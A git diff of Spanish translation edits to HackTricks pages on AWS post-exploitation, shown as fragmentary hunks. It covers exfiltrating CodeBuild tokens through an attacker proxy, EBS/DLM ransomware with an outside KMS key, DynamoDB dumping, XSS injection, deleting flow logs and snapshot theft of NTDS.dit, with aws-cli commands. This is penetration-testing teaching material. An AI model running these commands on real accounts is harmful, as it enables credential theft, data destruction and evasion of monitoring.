encuentras que la autenticación, por ejemplo, a Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto. +Si encuentras que la autenticación, por ejemplo, en Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto. Para este propósito, podrías **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen de Docker**. @@ -38,11 +38,11 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com" 4. **Ejecutar la construcción y capturar las credenciales** -- Puedes ver el token en el encabezado de **Authorization**: +- Puedes ver el token en el encabezado **Authorization**:
-Esto también se podría hacer desde la aws cli con algo como +Esto también se podría hacer desde aws cli con algo como ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ +**Codebuild** projects tienen una configuración llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\ Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma. -- First you need to enumerate the current configuration with something like: +- Primero necesitas enumerar la configuración actual con algo como: ```bash aws codebuild batch-get-projects --name ``` @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finalmente, haz clic en **Construir el proyecto**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm: +- Finalmente, haz clic en **Build the project**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
### ~~A través del protocolo HTTP~~ -> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante no puede abusar de ella más :)** +> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)** -Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token OAuth temporal utilizado para acceder al código**. +Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token temporal de OAuth utilizado para acceder al código**. - Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto de CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`). @@ -162,7 +162,7 @@ mitm.run() ```sh aws codebuild start-build --project-name ``` -- Finalmente, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm: +- Finalmente, las **credenciales** se enviarán en **texto claro** (base64) al puerto mitm:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index 8a15cd594..3721f441b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -8,15 +8,15 @@ Un ataque de ransomware puede ejecutarse encriptando la mayor cantidad posible de volúmenes EBS y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, encriptando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas encriptadas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin encriptar a una cuenta que gestionan y luego encriptarlas allí. Aunque no es sencillo encriptar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea. -Primero, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de encriptación, el estado de adjunto y el tipo de volumen. +Primero, se utilizará un comando para recopilar información sobre los volúmenes, como ID de instancia, ID de volumen, estado de encriptación, estado de adjunto y tipo de volumen. `aws ec2 describe-volumes` -En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles específicos de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima. +En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` -Un template para el documento de política se puede ver aquí: +Se puede ver una plantilla para el documento de política aquí: ```bash { "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 5be7828e0..3987bf48b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -12,7 +12,7 @@ Para más información, consulta: ### `dynamodb:BatchGetItem` -Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto consultando los metadatos de la tabla (`describe-table`). +Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto al obtener los metadatos de la tabla (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -124,7 +124,7 @@ Puedes usar este permiso para **volcar toda la tabla fácilmente**. aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Esta permiso también permite realizar `batch-execute-statement` como: +Este permiso también permite realizar `batch-execute-statement` como: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Nota que para que esto funcione, la tabla debe tener la recuperación en el tiempo habilitada, puedes verificar si la tabla la tiene con: +Tenga en cuenta que para que esto funcione, la tabla debe tener habilitada la recuperación en el tiempo, puede verificar si la tabla la tiene con: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \ ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **ya no podría estar en la tabla de producción**. +Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **podría no estar más en la tabla de producción**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ @@ -209,7 +209,7 @@ aws dynamodb put-item \ Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o agregar nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos especificados en la expresión de actualización. {{#tabs }} -{{#tab name="Ejemplo de XSS" }} +{{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Impacto Potencial:** Explotación de vulnerabilidades/evitaciones adicionales al poder agregar/modificar datos en una tabla de DynamoDB +**Impacto Potencial:** Explotación de más vulnerabilidades/evitaciones al poder agregar/modificar datos en una tabla de DynamoDB ### `dynamodb:DeleteTable` @@ -269,7 +269,7 @@ aws dynamodb delete-backup \ > [!NOTE] > TODO: Probar si esto realmente funciona -Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente lleva a una fuga de datos. +Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente puede llevar a una fuga de datos. 1. Habilitar un stream en una tabla de DynamoDB: ```bash @@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla DynamoDB. +**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla de DynamoDB. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 6b81dcb99..d426b9dc0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - EC2, EBS, SSM & VPC Post Explotación +# AWS - EC2, EBS, SSM y VPC Post Explotación {{#include ../../../../banners/hacktricks-training.md}} -## EC2 & VPC +## EC2 y VPC -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -15,7 +15,7 @@ Para más información consulta: El espejeo de tráfico VPC **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado comúnmente se enviaría a algo como un sistema de detección de intrusiones en la red (IDS) para análisis y monitoreo.\ Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él: -Para más información consulta esta página: +Para más información, consulta esta página: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copiar Instancia en Ejecución -Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalación de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: +Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalada de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: ```shell # List instances aws ec2 describe-images @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Exfiltración de Datos -#### Exfiltración DNS +#### Exfiltración por DNS Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**. @@ -74,18 +74,18 @@ Un atacante podría llamar a los puntos finales de la API de una cuenta controla ### Grupo de Seguridad Abierto -Podrías obtener acceso adicional a servicios de red abriendo puertos así: +Podrías obtener acceso adicional a los servicios de red abriendo puertos así: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc to ECS +### Privesc a ECS Es posible ejecutar una instancia de EC2 y registrarla para ser utilizada para ejecutar instancias de ECS y luego robar los datos de las instancias de ECS. Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### Remove VPC flow logs +### Eliminar registros de flujo de VPC ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,7 +95,7 @@ Permisos requeridos: - `ssm:StartSession` -Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado. +Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias de EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster privado de EKS. > Para iniciar una sesión, necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -115,11 +115,11 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el EC2 Bastion y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando: +8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Note que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM. +Tenga en cuenta que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM. Finalmente, esta técnica no es específica para atacar clústeres EKS privados. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada. @@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Buscar información sensible en AMIs públicas y privadas -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Imágenes de Máquina de Amazon (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles. ### Compartir instantánea de EBS ```bash @@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería ser renombrado a RMS por Ransomware Management Service con lo fácil que es usarlo para cifrar varios servicios de AWS. +Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service debido a lo fácil que es usarlo para cifrar varios servicios de AWS. -Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo dejaremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption' +Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -239,21 +239,21 @@ La regla de la política de clave necesita que se habiliten lo siguiente para pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Ahora con la clave accesible públicamente para usar. Podemos usar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio. +Ahora con la clave accesible públicamente para usar. Podemos utilizar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS no cifrados adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta de 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta del 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no están. +También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales no cifrados ya no están. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -A continuación, regrese a la política de clave en la cuenta de 'atacante' y elimine la regla de política 'Cifrado Externo' de la política de clave. +A continuación, regrese a la política de clave en la cuenta del 'atacante' y elimine la regla de política 'Outside Encryption' de la política de clave. ```json { "Version": "2012-10-17", @@ -324,7 +324,7 @@ A continuación, regrese a la política de clave en la cuenta de 'atacante' y el ] } ``` -Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'la víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen. +Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) @@ -332,7 +332,7 @@ Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simp ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'la víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'la víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. +Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 0d9dbd8c6..74410534a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -32,7 +32,7 @@ make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` > [!CAUTION] -> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar esa: +> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar eso: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -54,7 +54,7 @@ Puedes hacer esto con Pacu usando el módulo [ebs\_\_download_snapshots](https:/ ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` -**Montarlo en una VM de EC2 bajo tu control** (tiene que estar en la misma región que la copia de la copia de seguridad): +**Móntalo en una VM de EC2 bajo tu control** (debe estar en la misma región que la copia de la copia de seguridad): Paso 1: Se debe crear un nuevo volumen de tu tamaño y tipo preferido dirigiéndote a EC2 –> Volúmenes. @@ -77,7 +77,7 @@ Paso 5: Verifica si el volumen tiene datos usando el comando `sudo file -s /dev/ Si la salida del comando anterior muestra "/dev/xvdf: data", significa que el volumen está vacío. -Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ya sea ext4 o xfs. +Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ext4 o xfs. Paso 7: Crea un directorio de tu elección para montar el nuevo volumen ext4. Por ejemplo, puedes usar el nombre "newvolume". @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el NTDS.dit y el archivo del registro SYSTEM** para su uso con el proyecto secretsdump de Impacket. +Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket. Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear un snapshot. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index b44b377e8..74b72b0e9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -1,14 +1,14 @@ -# AWS - Malicious VPC Mirror +# AWS - Espejo VPC Malicioso {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Consulta** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para más detalles del ataque!** La inspección pasiva de redes en un entorno de nube ha sido **desafiante**, requiriendo cambios de configuración importantes para monitorear el tráfico de red. Sin embargo, se ha introducido una nueva característica llamada “**VPC Traffic Mirroring**” por AWS para simplificar este proceso. Con VPC Traffic Mirroring, el tráfico de red dentro de las VPC puede ser **duplicado** sin instalar ningún software en las instancias mismas. Este tráfico duplicado puede ser enviado a un sistema de detección de intrusiones en la red (IDS) para **análisis**. -Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para la duplicación y exfiltración del tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados. +Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para duplicar y exfiltrar el tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados. -El **impacto** de la duplicación maliciosa del tráfico de VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles. +El **impacto** de la duplicación maliciosa del tráfico VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles. Para más información y acceso al [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), se puede encontrar en nuestro **repositorio de GitHub**. El script automatiza y agiliza el proceso, haciéndolo **rápido, simple y repetible** para fines de investigación ofensiva. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index f758d1b31..a1e9ce043 100644 --- 